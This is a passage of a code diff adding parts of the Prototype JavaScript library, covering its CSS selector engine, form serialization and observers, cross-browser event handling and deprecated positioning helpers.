+          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
+      }
+      return results;
+    },
+
+    adjacent: function(nodes) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        var next = this.nextElementSibling(node);
+        if (next) results.push(next);
+      }
+      return results;
+    },
+
+    laterSibling: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, Element.nextSiblings(node));
+      return results;
+    },
+
+    nextElementSibling: function(node) {
+      while (node = node.nextSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    previousElementSibling: function(node) {
+      while (node = node.previousSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    // TOKEN FUNCTIONS
+    tagName: function(nodes, root, tagName, combinator) {
+      var uTagName = tagName.toUpperCase();
+      var results = [], h = Selector.handlers;
+      if (nodes) {
+        if (combinator) {
+          // fastlane for ordinary descendant combinators
+          if (combinator == "descendant") {
+            for (var i = 0, node; node = nodes[i]; i++)
+              h.concat(results, node.getElementsByTagName(tagName));
+            return results;
+          } else nodes = this[combinator](nodes);
+          if (tagName == "*") return nodes;
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.tagName.toUpperCase() === uTagName) results.push(node);
+        return results;
+      } else return root.getElementsByTagName(tagName);
+    },
+
+    id: function(nodes, root, id, combinator) {
+      var targetNode = $(id), h = Selector.handlers;
+      if (!targetNode) return [];
+      if (!nodes && root == document) return [targetNode];
+      if (nodes) {
+        if (combinator) {
+          if (combinator == 'child') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (targetNode.parentNode == node) return [targetNode];
+          } else if (combinator == 'descendant') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Element.descendantOf(targetNode, node)) return [targetNode];
+          } else if (combinator == 'adjacent') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Selector.handlers.previousElementSibling(targetNode) == node)
+                return [targetNode];
+          } else nodes = h[combinator](nodes);
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node == targetNode) return [targetNode];
+        return [];
+      }
+      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
+    },
+
+    className: function(nodes, root, className, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      return Selector.handlers.byClassName(nodes, root, className);
+    },
+
+    byClassName: function(nodes, root, className) {
+      if (!nodes) nodes = Selector.handlers.descendant([root]);
+      var needle = ' ' + className + ' ';
+      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
+        nodeClassName = node.className;
+        if (nodeClassName.length == 0) continue;
+        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
+          results.push(node);
+      }
+      return results;
+    },
+
+    attrPresence: function(nodes, root, attr, combinator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      var results = [];
+      for (var i = 0, node; node = nodes[i]; i++)
+        if (Element.hasAttribute(node, attr)) results.push(node);
+      return results;
+    },
+
+    attr: function(nodes, root, attr, value, operator, combinator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      var handler = Selector.operators[operator], results = [];
+      for (var i = 0, node; node = nodes[i]; i++) {
+        var nodeValue = Element.readAttribute(node, attr);
+        if (nodeValue === null) continue;
+        if (handler(nodeValue, value)) results.push(node);
+      }
+      return results;
+    },
+
+    pseudo: function(nodes, name, value, root, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      return Selector.pseudos[name](nodes, value, root);
+    }
+  },
+
+  pseudos: {
+    'first-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.previousElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'last-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.nextElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'only-child': function(nodes, value, root) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
+          results.push(node);
+      return results;
+    },
+    'nth-child':        function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root);
+    },
+    'nth-last-child':   function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true);
+    },
+    'nth-of-type':      function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, false, true);
+    },
+    'nth-last-of-type': function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true, true);
+    },
+    'first-of-type':    function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, false, true);
+    },
+    'last-of-type':     function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, true, true);
+    },
+    'only-of-type':     function(nodes, formula, root) {
+      var p = Selector.pseudos;
+      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
+    },
+
+    // handles the an+b logic
+    getIndices: function(a, b, total) {
+      if (a == 0) return b > 0 ? [b] : [];
+      return $R(1, total).inject([], function(memo, i) {
+        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
+        return memo;
+      });
+    },
+
+    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
+    nth: function(nodes, formula, root, reverse, ofType) {
+      if (nodes.length == 0) return [];
+      if (formula == 'even') formula = '2n+0';
+      if (formula == 'odd')  formula = '2n+1';
+      var h = Selector.handlers, results = [], indexed = [], m;
+      h.mark(nodes);
+      for (var i = 0, node; node = nodes[i]; i++) {
+        if (!node.parentNode._countedByPrototype) {
+          h.index(node.parentNode, reverse, ofType);
+          indexed.push(node.parentNode);
+        }
+      }
+      if (formula.match(/^\d+$/)) { // just a number
+        formula = Number(formula);
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.nodeIndex == formula) results.push(node);
+      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+        if (m[1] == "-") m[1] = -1;
+        var a = m[1] ? Number(m[1]) : 1;
+        var b = m[2] ? Number(m[2]) : 0;
+        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
+        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
+          for (var j = 0; j < l; j++)
+            if (node.nodeIndex == indices[j]) results.push(node);
+        }
+      }
+      h.unmark(nodes);
+      h.unmark(indexed);
+      return results;
+    },
+
+    'empty': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        // IE treats comments as element nodes
+        if (node.tagName == '!' || node.firstChild) continue;
+        results.push(node);
+      }
+      return results;
+    },
+
+    'not': function(nodes, selector, root) {
+      var h = Selector.handlers, selectorType, m;
+      var exclusions = new Selector(selector).findElements(root);
+      h.mark(exclusions);
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node._countedByPrototype) results.push(node);
+      h.unmark(exclusions);
+      return results;
+    },
+
+    'enabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node.disabled && (!node.type || node.type !== 'hidden'))
+          results.push(node);
+      return results;
+    },
+
+    'disabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.disabled) results.push(node);
+      return results;
+    },
+
+    'checked': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.checked) results.push(node);
+      return results;
+    }
+  },
+
+  operators: {
+    '=':  function(nv, v) { return nv == v; },
+    '!=': function(nv, v) { return nv != v; },
+    '^=': function(nv, v) { return nv == v || nv && nv.startsWith(v); },
+    '$=': function(nv, v) { return nv == v || nv && nv.endsWith(v); },
+    '*=': function(nv, v) { return nv == v || nv && nv.include(v); },
+    '$=': function(nv, v) { return nv.endsWith(v); },
+    '*=': function(nv, v) { return nv.include(v); },
+    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
+    '|=': function(nv, v) { return ('-' + (nv || "").toUpperCase() +
+     '-').include('-' + (v || "").toUpperCase() + '-'); }
+  },
+
+  split: function(expression) {
+    var expressions = [];
+    expression.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
+      expressions.push(m[1].strip());
+    });
+    return expressions;
+  },
+
+  matchElements: function(elements, expression) {
+    var matches = $$(expression), h = Selector.handlers;
+    h.mark(matches);
+    for (var i = 0, results = [], element; element = elements[i]; i++)
+      if (element._countedByPrototype) results.push(element);
+    h.unmark(matches);
+    return results;
+  },
+
+  findElement: function(elements, expression, index) {
+    if (Object.isNumber(expression)) {
+      index = expression; expression = false;
+    }
+    return Selector.matchElements(elements, expression || '*')[index || 0];
+  },
+
+  findChildElements: function(element, expressions) {
+    expressions = Selector.split(expressions.join(','));
+    var results = [], h = Selector.handlers;
+    for (var i = 0, l = expressions.length, selector; i < l; i++) {
+      selector = new Selector(expressions[i].strip());
+      h.concat(results, selector.findElements(element));
+    }
+    return (l > 1) ? h.unique(results) : results;
+  }
+});
+
+if (Prototype.Browser.IE) {
+  Object.extend(Selector.handlers, {
+    // IE returns comment nodes on getElementsByTagName("*").
+    // Filter them out.
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        if (node.tagName !== "!") a.push(node);
+      return a;
+    },
+
+    // IE improperly serializes _countedByPrototype in (inner|outer)HTML.
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node.removeAttribute('_countedByPrototype');
+      return nodes;
+    }
+  });
+}
+
+function $$() {
+  return Selector.findChildElements(document, $A(arguments));
+}
+var Form = {
+  reset: function(form) {
+    $(form).reset();
+    return form;
+  },
+
+  serializeElements: function(elements, options) {
+    if (typeof options != 'object') options = { hash: !!options };
+    else if (Object.isUndefined(options.hash)) options.hash = true;
+    var key, value, submitted = false, submit = options.submit;
+
+    var data = elements.inject({ }, function(result, element) {
+      if (!element.disabled && element.name) {
+        key = element.name; value = $(element).getValue();
+        if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
+            submit !== false && (!submit || key == submit) && (submitted = true)))) {
+          if (key in result) {
+            // a key is already present; construct an array of values
+            if (!Object.isArray(result[key])) result[key] = [result[key]];
+            result[key].push(value);
+          }
+          else result[key] = value;
+        }
+      }
+      return result;
+    });
+
+    return options.hash ? data : Object.toQueryString(data);
+  }
+};
+
+Form.Methods = {
+  serialize: function(form, options) {
+    return Form.serializeElements(Form.getElements(form), options);
+  },
+
+  getElements: function(form) {
+    return $A($(form).getElementsByTagName('*')).inject([],
+      function(elements, child) {
+        if (Form.Element.Serializers[child.tagName.toLowerCase()])
+          elements.push(Element.extend(child));
+        return elements;
+      }
+    );
+  },
+
+  getInputs: function(form, typeName, name) {
+    form = $(form);
+    var inputs = form.getElementsByTagName('input');
+
+    if (!typeName && !name) return $A(inputs).map(Element.extend);
+
+    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
+      var input = inputs[i];
+      if ((typeName && input.type != typeName) || (name && input.name != name))
+        continue;
+      matchingInputs.push(Element.extend(input));
+    }
+
+    return matchingInputs;
+  },
+
+  disable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('disable');
+    return form;
+  },
+
+  enable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('enable');
+    return form;
+  },
+
+  findFirstElement: function(form) {
+    var elements = $(form).getElements().findAll(function(element) {
+      return 'hidden' != element.type && !element.disabled;
+    });
+    var firstByIndex = elements.findAll(function(element) {
+      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
+    }).sortBy(function(element) { return element.tabIndex }).first();
+
+    return firstByIndex ? firstByIndex : elements.find(function(element) {
+      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
+    });
+  },
+
+  focusFirstElement: function(form) {
+    form = $(form);
+    form.findFirstElement().activate();
+    return form;
+  },
+
+  request: function(form, options) {
+    form = $(form), options = Object.clone(options || { });
+
+    var params = options.parameters, action = form.readAttribute('action') || '';
+    if (action.blank()) action = window.location.href;
+    options.parameters = form.serialize(true);
+
+    if (params) {
+      if (Object.isString(params)) params = params.toQueryParams();
+      Object.extend(options.parameters, params);
+    }
+
+    if (form.hasAttribute('method') && !options.method)
+      options.method = form.method;
+
+    return new Ajax.Request(action, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element = {
+  focus: function(element) {
+    $(element).focus();
+    return element;
+  },
+
+  select: function(element) {
+    $(element).select();
+    return element;
+  }
+};
+
+Form.Element.Methods = {
+  serialize: function(element) {
+    element = $(element);
+    if (!element.disabled && element.name) {
+      var value = element.getValue();
+      if (value != undefined) {
+        var pair = { };
+        pair[element.name] = value;
+        return Object.toQueryString(pair);
+      }
+    }
+    return '';
+  },
+
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    return Form.Element.Serializers[method](element);
+  },
+
+  setValue: function(element, value) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    Form.Element.Serializers[method](element, value);
+    return element;
+  },
+
+  clear: function(element) {
+    $(element).value = '';
+    return element;
+  },
+
+  present: function(element) {
+    return $(element).value != '';
+  },
+
+  activate: function(element) {
+    element = $(element);
+    try {
+      element.focus();
+      if (element.select && (element.tagName.toLowerCase() != 'input' ||
+          !['button', 'reset', 'submit'].include(element.type)))
+        element.select();
+    } catch (e) { }
+    return element;
+  },
+
+  disable: function(element) {
+    element = $(element);
+    element.disabled = true;
+    return element;
+  },
+
+  enable: function(element) {
+    element = $(element);
+    element.disabled = false;
+    return element;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Field = Form.Element;
+var $F = Form.Element.Methods.getValue;
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element.Serializers = {
+  input: function(element, value) {
+    switch (element.type.toLowerCase()) {
+      case 'checkbox':
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element, value);
+      default:
+        return Form.Element.Serializers.textarea(element, value);
+    }
+  },
+
+  inputSelector: function(element, value) {
+    if (Object.isUndefined(value)) return element.checked ? element.value : null;
+    else element.checked = !!value;
+  },
+
+  textarea: function(element, value) {
+    if (Object.isUndefined(value)) return element.value;
+    else element.value = value;
+  },
+
+  select: function(element, value) {
+    if (Object.isUndefined(value))
+      return this[element.type == 'select-one' ?
+        'selectOne' : 'selectMany'](element);
+    else {
+      var opt, currentValue, single = !Object.isArray(value);
+      for (var i = 0, length = element.length; i < length; i++) {
+        opt = element.options[i];
+        currentValue = this.optionValue(opt);
+        if (single) {
+          if (currentValue == value) {
+            opt.selected = true;
+            return;
+          }
+        }
+        else opt.selected = value.include(currentValue);
+      }
+    }
+  },
+
+  selectOne: function(element) {
+    var index = element.selectedIndex;
+    return index >= 0 ? this.optionValue(element.options[index]) : null;
+  },
+
+  selectMany: function(element) {
+    var values, length = element.length;
+    if (!length) return null;
+
+    for (var i = 0, values = []; i < length; i++) {
+      var opt = element.options[i];
+      if (opt.selected) values.push(this.optionValue(opt));
+    }
+    return values;
+  },
+
+  optionValue: function(opt) {
+    // extend element because hasAttribute may not be native
+    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
+  initialize: function($super, element, frequency, callback) {
+    $super(callback, frequency);
+    this.element   = $(element);
+    this.lastValue = this.getValue();
+  },
+
+  execute: function() {
+    var value = this.getValue();
+    if (Object.isString(this.lastValue) && Object.isString(value) ?
+        this.lastValue != value : String(this.lastValue) != String(value)) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  }
+});
+
+Form.Element.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.EventObserver = Class.create({
+  initialize: function(element, callback) {
+    this.element  = $(element);
+    this.callback = callback;
+
+    this.lastValue = this.getValue();
+    if (this.element.tagName.toLowerCase() == 'form')
+      this.registerFormCallbacks();
+    else
+      this.registerCallback(this.element);
+  },
+
+  onElementEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  },
+
+  registerFormCallbacks: function() {
+    Form.getElements(this.element).each(this.registerCallback, this);
+  },
+
+  registerCallback: function(element) {
+    if (element.type) {
+      switch (element.type.toLowerCase()) {
+        case 'checkbox':
+        case 'radio':
+          Event.observe(element, 'click', this.onElementEvent.bind(this));
+          break;
+        default:
+          Event.observe(element, 'change', this.onElementEvent.bind(this));
+          break;
+      }
+    }
+  }
+});
+
+Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+if (!window.Event) var Event = { };
+
+Object.extend(Event, {
+  KEY_BACKSPACE: 8,
+  KEY_TAB:       9,
+  KEY_RETURN:   13,
+  KEY_ESC:      27,
+  KEY_LEFT:     37,
+  KEY_UP:       38,
+  KEY_RIGHT:    39,
+  KEY_DOWN:     40,
+  KEY_DELETE:   46,
+  KEY_HOME:     36,
+  KEY_END:      35,
+  KEY_PAGEUP:   33,
+  KEY_PAGEDOWN: 34,
+  KEY_INSERT:   45,
+
+  cache: { },
+
+  relatedTarget: function(event) {
+    var element;
+    switch(event.type) {
+      case 'mouseover': element = event.fromElement; break;
+      case 'mouseout':  element = event.toElement;   break;
+      default: return null;
+    }
+    return Element.extend(element);
+  }
+});
+
+Event.Methods = (function() {
+  var isButton;
+
+  if (Prototype.Browser.IE) {
+    var buttonMap = { 0: 1, 1: 4, 2: 2 };
+    isButton = function(event, code) {
+      return event.button == buttonMap[code];
+    };
+
+  } else if (Prototype.Browser.WebKit) {
+    isButton = function(event, code) {
+      switch (code) {
+        case 0: return event.which == 1 && !event.metaKey;
+        case 1: return event.which == 1 && event.metaKey;
+        default: return false;
+      }
+    };
+
+  } else {
+    isButton = function(event, code) {
+      return event.which ? (event.which === code + 1) : (event.button === code);
+    };
+  }
+
+  return {
+    isLeftClick:   function(event) { return isButton(event, 0) },
+    isMiddleClick: function(event) { return isButton(event, 1) },
+    isRightClick:  function(event) { return isButton(event, 2) },
+
+    element: function(event) {
+      event = Event.extend(event);
+
+      var node          = event.target,
+          type          = event.type,
+          currentTarget = event.currentTarget;
+
+      if (currentTarget && currentTarget.tagName) {
+        // Firefox screws up the "click" event when moving between radio buttons
+        // via arrow keys. It also screws up the "load" and "error" events on images,
+        // reporting the document as the target instead of the original image.
+        if (type === 'load' || type === 'error' ||
+          (type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
+            && currentTarget.type === 'radio'))
+              node = currentTarget;
+      }
+      if (node.nodeType == Node.TEXT_NODE) node = node.parentNode;
+      return Element.extend(node);
+    },
+
+    findElement: function(event, expression) {
+      var element = Event.element(event);
+      if (!expression) return element;
+      var elements = [element].concat(element.ancestors());
+      return Selector.findElement(elements, expression, 0);
+    },
+
+    pointer: function(event) {
+      var docElement = document.documentElement,
+      body = document.body || { scrollLeft: 0, scrollTop: 0 };
+      return {
+        x: event.pageX || (event.clientX +
+          (docElement.scrollLeft || body.scrollLeft) -
+          (docElement.clientLeft || 0)),
+        y: event.pageY || (event.clientY +
+          (docElement.scrollTop || body.scrollTop) -
+          (docElement.clientTop || 0))
+      };
+    },
+
+    pointerX: function(event) { return Event.pointer(event).x },
+    pointerY: function(event) { return Event.pointer(event).y },
+
+    stop: function(event) {
+      Event.extend(event);
+      event.preventDefault();
+      event.stopPropagation();
+      event.stopped = true;
+    }
+  };
+})();
+
+Event.extend = (function() {
+  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
+    m[name] = Event.Methods[name].methodize();
+    return m;
+  });
+
+  if (Prototype.Browser.IE) {
+    Object.extend(methods, {
+      stopPropagation: function() { this.cancelBubble = true },
+      preventDefault:  function() { this.returnValue = false },
+      inspect: function() { return "[object Event]" }
+    });
+
+    return function(event) {
+      if (!event) return false;
+      if (event._extendedByPrototype) return event;
+
+      event._extendedByPrototype = Prototype.emptyFunction;
+      var pointer = Event.pointer(event);
+      Object.extend(event, {
+        target: event.srcElement,
+        relatedTarget: Event.relatedTarget(event),
+        pageX:  pointer.x,
+        pageY:  pointer.y
+      });
+      return Object.extend(event, methods);
+    };
+
+  } else {
+    Event.prototype = Event.prototype || document.createEvent("HTMLEvents")['__proto__'];
+    Object.extend(Event.prototype, methods);
+    return Prototype.K;
+  }
+})();
+
+Object.extend(Event, (function() {
+  var cache = Event.cache;
+
+  function getEventID(element) {
+    if (element._prototypeEventID) return element._prototypeEventID[0];
+    arguments.callee.id = arguments.callee.id || 1;
+    return element._prototypeEventID = [++arguments.callee.id];
+  }
+
+  function getDOMEventName(eventName) {
+    if (eventName && eventName.include(':')) return "dataavailable";
+    return eventName;
+  }
+
+  function getCacheForID(id) {
+    return cache[id] = cache[id] || { };
+  }
+
+  function getWrappersForEventName(id, eventName) {
+    var c = getCacheForID(id);
+    return c[eventName] = c[eventName] || [];
+  }
+
+  function createWrapper(element, eventName, handler) {
+    var id = getEventID(element);
+    var c = getWrappersForEventName(id, eventName);
+    if (c.pluck("handler").include(handler)) return false;
+
+    var wrapper = function(event) {
+      if (!Event || !Event.extend ||
+        (event.eventName && event.eventName != eventName))
+          return false;
+
+      Event.extend(event);
+      handler.call(element, event);
+    };
+
+    wrapper.handler = handler;
+    c.push(wrapper);
+    return wrapper;
+  }
+
+  function findWrapper(id, eventName, handler) {
+    var c = getWrappersForEventName(id, eventName);
+    return c.find(function(wrapper) { return wrapper.handler == handler });
+  }
+
+  function destroyWrapper(id, eventName, handler) {
+    var c = getCacheForID(id);
+    if (!c[eventName]) return false;
+    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
+  }
+
+  function destroyCache() {
+    for (var id in cache)
+      for (var eventName in cache[id])
+        cache[id][eventName] = null;
+  }
+
+
+  // Internet Explorer needs to remove event handlers on page unload
+  // in order to avoid memory leaks.
+  if (window.attachEvent) {
+    window.attachEvent("onunload", destroyCache);
+  }
+
+  // Safari has a dummy event handler on page unload so that it won't
+  // use its bfcache. Safari <= 3.1 has an issue with restoring the "document"
+  // object when page is returned to via the back button using its bfcache.
+  if (Prototype.Browser.WebKit) {
+    window.addEventListener('unload', Prototype.emptyFunction, false);
+  }
+
+  return {
+    observe: function(element, eventName, handler) {
+      element = $(element);
+      var name = getDOMEventName(eventName);
+
+      var wrapper = createWrapper(element, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.addEventListener) {
+        element.addEventListener(name, wrapper, false);
+      } else {
+        element.attachEvent("on" + name, wrapper);
+      }
+
+      return element;
+    },
+
+    stopObserving: function(element, eventName, handler) {
+      element = $(element);
+      var id = getEventID(element), name = getDOMEventName(eventName);
+
+      if (!handler && eventName) {
+        getWrappersForEventName(id, eventName).each(function(wrapper) {
+          element.stopObserving(eventName, wrapper.handler);
+        });
+        return element;
+
+      } else if (!eventName) {
+        Object.keys(getCacheForID(id)).each(function(eventName) {
+          element.stopObserving(eventName);
+        });
+        return element;
+      }
+
+      var wrapper = findWrapper(id, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.removeEventListener) {
+        element.removeEventListener(name, wrapper, false);
+      } else {
+        element.detachEvent("on" + name, wrapper);
+      }
+
+      destroyWrapper(id, eventName, handler);
+
+      return element;
+    },
+
+    fire: function(element, eventName, memo) {
+      element = $(element);
+      if (element == document && document.createEvent && !element.dispatchEvent)
+        element = document.documentElement;
+
+      var event;
+      if (document.createEvent) {
+        event = document.createEvent("HTMLEvents");
+        event.initEvent("dataavailable", true, true);
+      } else {
+        event = document.createEventObject();
+        event.eventType = "ondataavailable";
+      }
+
+      event.eventName = eventName;
+      event.memo = memo || { };
+
+      if (document.createEvent) {
+        element.dispatchEvent(event);
+      } else {
+        element.fireEvent(event.eventType, event);
+      }
+
+      return Event.extend(event);
+    }
+  };
+})());
+
+Object.extend(Event, Event.Methods);
+
+Element.addMethods({
+  fire:          Event.fire,
+  observe:       Event.observe,
+  stopObserving: Event.stopObserving
+});
+
+Object.extend(document, {
+  fire:          Element.Methods.fire.methodize(),
+  observe:       Element.Methods.observe.methodize(),
+  stopObserving: Element.Methods.stopObserving.methodize(),
+  loaded:        false
+});
+
+(function() {
+  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
+     Matthias Miller, Dean Edwards and John Resig. */
+
+  var timer;
+
+  function fireContentLoadedEvent() {
+    if (document.loaded) return;
+    if (timer) window.clearInterval(timer);
+    document.fire("dom:loaded");
+    document.loaded = true;
+  }
+
+  if (document.addEventListener) {
+    if (Prototype.Browser.WebKit) {
+      timer = window.setInterval(function() {
+        if (/loaded|complete/.test(document.readyState))
+          fireContentLoadedEvent();
+      }, 0);
+
+      Event.observe(window, "load", fireContentLoadedEvent);
+
+    } else {
+      document.addEventListener("DOMContentLoaded",
+        fireContentLoadedEvent, false);
+    }
+
+  } else {
+    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
+    $("__onDOMContentLoaded").onreadystatechange = function() {
+      if (this.readyState == "complete") {
+        this.onreadystatechange = null;
+        fireContentLoadedEvent();
+      }
+    };
+  }
+})();
+/*------------------------------- DEPRECATED -------------------------------*/
+
+Hash.toQueryString = Object.toQueryString;
+
+var Toggle = { display: Element.toggle };
+
+Element.Methods.childOf = Element.Methods.descendantOf;
+
+var Insertion = {
+  Before: function(element, content) {
+    return Element.insert(element, {before:content});
+  },
+
+  Top: function(element, content) {
+    return Element.insert(element, {top:content});
+  },
+
+  Bottom: function(element, content) {
+    return Element.insert(element, {bottom:content});
+  },
+
+  After: function(element, content) {
+    return Element.insert(element, {after:content});
+  }
+};
+
+var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
+
+// This should be moved to script.aculo.us; notice the deprecated methods
+// further below, that map to the newer Element methods.
+var Position = {
+  // set to true if needed, warning: firefox performance problems
+  // NOT neeeded for page scrolling, only if draggable contained in
+  // scrollable elements
+  includeScrollOffsets: false,
+
+  // must be called before calling withinIncludingScrolloffset, every time the
+  // page is scrolled
+  prepare: function() {
+    this.deltaX =  window.pageXOffset
+                || document.documentElement.scrollLeft
+                || document.body.scrollLeft
+                || 0;
+    this.deltaY =  window.pageYOffset
+                || document.documentElement.scrollTop
+                || document.body.scrollTop
+                || 0;
+  },
+
+  // caches x/y coordinate pair to use with overlap
+  within: function(element, x, y) {
+    if (this.includeScrollOffsets)
+      return this.withinIncludingScrolloffsets(element, x, y);
+    this.xcomp = x;
+    this.ycomp = y;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (y >= this.offset[1] &&
+            y <  this.offset[1] + element.offsetHeight &&
+            x >= this.offset[0] &&
+            x <  this.offset[0] + element.offsetWidth);
+  },
+
+  withinIncludingScrolloffsets: function(element, x, y) {
+    var offsetcache = Element.cumulativeScrollOffset(element);
+
+    this.xcomp = x + offsetcache[0] - this.deltaX;
+    this.ycomp = y + offsetcache[1] - this.deltaY;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (this.ycomp >= this.offset[1] &&
+            this.ycomp <  this.offset[1] + element.offsetHeight &&
+            this.xcomp >= this.offset[0] &&
+            this.xcomp <  this.offset[0] + element.offsetWidth);
+  },
+
+  // within must be called directly before
+  overlap: function(mode, element) {
+    if (!mode) return 0;
+    if (mode == 'vertical')
+      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
+        element.offsetHeight;
+    if (mode == 'horizontal')
+      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
+        element.offsetWidth;
+  },
+
+  // Deprecation layer -- use newer Element methods now (1.5.2).
+
+  cumulativeOffset: Element.Methods.cumulativeOffset,
+
+  positionedOffset: Element.Methods.positionedOffset,
+
+  absolutize: function(element) {
+    Position.prepare();
+    return Element.absolutize(element);
+  },
+
+  relativize: function(element) {
+    Position.prepare();
+    return Element.relativize(element);
+  },
+
+  realOffset: Element.Methods.cumulativeScrollOffset,
+
+  offsetParent: Element.Methods.getOffsetParent,
+
+  page: Element.Methods.viewportOffset,
+
+  clone: function(source, target, options) {
+    options = options || { };
+    return Element.clonePosition(target, source, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
+  function iter(name) {
+    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
+  }
+
+  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
+  function(element, className) {
+    className = className.toString().strip();
+    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
+    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
+  } : function(element, className) {
+    className = className.toString().strip();
+    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
+    if (!classNames && !className) return elements;
+
+    var nodes = $(element).getElementsByTagName('*');
+    className = ' ' + className + ' ';
+
+    for (var i = 0, child, cn; child = nodes[i]; i++) {
+      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
+          (classNames && classNames.all(function(name) {
+            return !name.toString().blank() && cn.include(' ' + name + ' ');
+          }))))
+        elements.push(Element.extend(child));
+    }
+    return elements;
+  };
+
+  return function(className, parentElement) {
+    return $(parentElement || document.body).getElementsByClassName(className);
+  };
+}(Element.Methods);
+
+/*--------------------------------------------------------------------------*/
+
+Element.ClassNames = Class.create();
